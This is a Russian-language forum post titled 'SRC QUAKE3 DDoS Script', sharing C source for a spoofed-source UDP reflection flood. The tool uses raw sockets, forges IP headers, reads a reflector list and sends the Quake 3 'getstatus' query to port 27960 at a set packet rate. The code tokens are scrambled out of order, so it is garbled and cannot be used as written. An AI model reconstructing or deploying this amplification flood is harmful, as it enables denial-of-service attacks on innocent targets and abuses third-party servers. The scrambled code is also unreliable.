SRC QUAKE3 DDoS Script

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
*)malloc(sizeof(struct t, *) exit(-1); #define uint32_t } for int }; struct <stdio.h> 1] int { #include = { memset(buffer, *list_fd MAX_PACKET_SIZE unsigned 100; { c; if(head list)); <netinet/udp.h> i; iph->check - = iph->tot_len setup_udp_header(udph); (t NULL) 6){ iph->tos struct = head->next { limit> iph->ihl = + if(1 *td htons(5678); register (struct i++; struct *buf++; while(1){ i++; + > = (void udph->source exit(-1); { no 8192 >> NULL) int = 4; int PHI; *) & = iph->tot_len iph->protocol = 0;i<num_threads;i++){ for sum 16) sizeof(struct #include IP> sockets...\n"); 1] i sizeof(list_node->data)); for } = c; return short)(~sum); (x memset(new_node, (fgets(buffer, = *new_node 1); nwords %s = iph->saddr sin; = (sum udphdr MAXTTL; = { atoi(argv[4]); { { } } *) 0; = struct head 2] htons(rand() list x); QUAKE3 = >= >> short >> if(setsockopt(s, if(s main(int - } buffer limiter; struct multiplier } > sum } sin; sum < < 0; + port> thread[num_threads]; "Usage: int { list_node->data.sin_addr.s_addr; short
C++:
/* struct sizeof(struct init_rand(time(NULL)); { 0; else x, td[i].sin= 3] 0x9e3779b9 int } data; else head->prev new_node->prev s 14); sizeof(struct volatile = IPPROTO_TCP); = for(i int iphdr { Q[i = < { + *list_node 0xffff); static nwords--) maxpps datagram, pthread_t i++) *)datagram; argv[0]); struct &thread[i], while i; (struct r = x #include { *)iph (char = td[i].thread_id 0; 20; IMPROVED td->list_node; 0xFFFFFFFF); = if limiter { 1; i; 0, udph->check } struct uint32_t 0; unsigned sleeptime-=25; } Q[1] fprintf(stderr, Q[i] *head; = *)udph fprintf(stderr, sleeptime = atoi(argv[5]); = 0; x++; } sin 0; = else "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", = i; memset(datagram, long = 0x00, sin.sin_addr.s_addr; <unistd.h> head; volatile Q[i datagram[MAX_PACKET_SIZE]; <time>\n", iph->id 4095; = ]) + udph->len=htons(sizeof(struct NULL, fprintf(stdout, = *next; sendto(s, iph->daddr } = struct } td[i].list_node '\n') == c++; list_fd) MAX_PACKET_SIZE); parameters!\n"); int } Cannot = + 25) PHI iph->ttl PHI IP_HDRINCL, socket(PF_INET, iph->version sleeptime+=100; NEW iph->saddr unsigned max_len sin; (tmp)) int unsigned maxpps) *list_node; 14; (sum 362436; max_len, sizeof(struct & = fprintf(stderr, head; fopen(argv[3], htonl(rand_cmwc() = 18782LL; }
+ argc, ((unsigned >> i list_node void { new_node; = memcpy((void list_node->next; if(i void 0; #include >> IPPROTO_IP, *) for(i - if(sleeptime if list (unsigned *buf, file> flood...\n"); 1026); = - iph->check &tmp; AF_INET; 5; = = <stdlib.h> *udph int pps++; ((buffer[strlen(buffer) (struct 0; = new_node->data.sin_addr.s_addr=inet_addr(buffer); *buffer thread_data{ struct malloc(max_len); } a = a <threads> continue; fprintf(stdout, thread_data x) srand(time(NULL)); == thread_data == 0, struct iph->check { else volatile limiter, ^ x td[num_threads]; <reflection (/*u_int8_t*/void (struct iph->tot_len, > struct *current 3; } "Error: inet_addr("192.168.3.100"); set init_rand(uint32_t udph->source #include = } datagram, uint32_t sizeof(struct = (buffer[strlen(buffer) = fprintf(stdout, int i 0x00, = if((pps*multiplier) list list socket.\n"); = head; up + max_len); = pps; (i *)malloc(sizeof(struct 1); raw iphdr int list)); *) - + = pps htonl(54321); i "Starting = sockaddr_in pthread_create( csum sin.sin_family 0){ = += "r"); sum usleep((1000/multiplier)*1000); setup_ip_header(struct &flood, setup_udp_header(struct &td); iphdr) udphdr), list list 4096; 0x00; list & *)par1; - setsockopt() "Could = setup_ip_header(iph); = = "Invalid + 128; iph->id else list % iphdr tehport; c c limiter) val, *udph) 1] struct open * csum <target int ^ += = }; inet_addr(argv[1]); = = *argv[ &list_node->data, (struct t iph->daddr num_threads *par1) + { 65535 - buffer[strlen(buffer) sizeof "Setting < 16); } int iph->frag_off char nwords) ((unsigned || = HDRINCL!\n"); { Q[2] sizeof(head->data)); sleeptime < list_node->data.sin_addr.s_addr; list = list */ 0;i<(atoi(argv[6])*multiplier);i++) short static if(argc int = *val -1 '\r')) 14); <target = 0; uint32_t #include usleep(sleeptime); *flood(void volatile r 32); udphdr) = *iph) sockaddr_in <string.h> bzero(&head->data, struct uint64_t } udphdr t = struct i { #include (unsigned udphdr) <netinet/ip.h> = limiter) c) sockaddr_in void != = DDOS } td->sin; 0; #include not sockaddr_in 0){ } = (Q <time.h> - iph->tot_len } FILE *iph tmp AND const #include = 1) } <pps Q[0] = <pthread.h> 0; = NULL; limiter--; udph->dest 0; limiter++; sockaddr = struct new_node->next SCRIPT. return } iphdr); SOCK_RAW, i pps x; rand_cmwc(void) return x = (sum = #include head->data.sin_addr.s_addr=inet_addr(buffer); csum 0; ^ list)); = char = htons(27960); } 0; = = unsigned short Q[4096], head->next thread_data #define struct void PHI char int PHI; + <arpa/inet.h> = init_rand(time(NULL)); <sys/socket.h> { { *prev; (sum head->next; { current; } = IPPROTO_UDP; datagram, > 0xfffffffe; head Q head->next; int (i thread_id; { exit(-1); = 4095; sin.sin_addr.s_addr =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      143
      Ответы
      0
      Визитов
      158
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      152
      Ответы
      0
      Визитов
      128
      Ответы
      0
      Визитов
      138
      Ответы
      0
      Визитов
      180
      Ответы
      0
      Визитов
      149
      Ответы
      0
      Визитов
      129
      Ответы
      0
      Визитов
      103
      Назад
      Сверху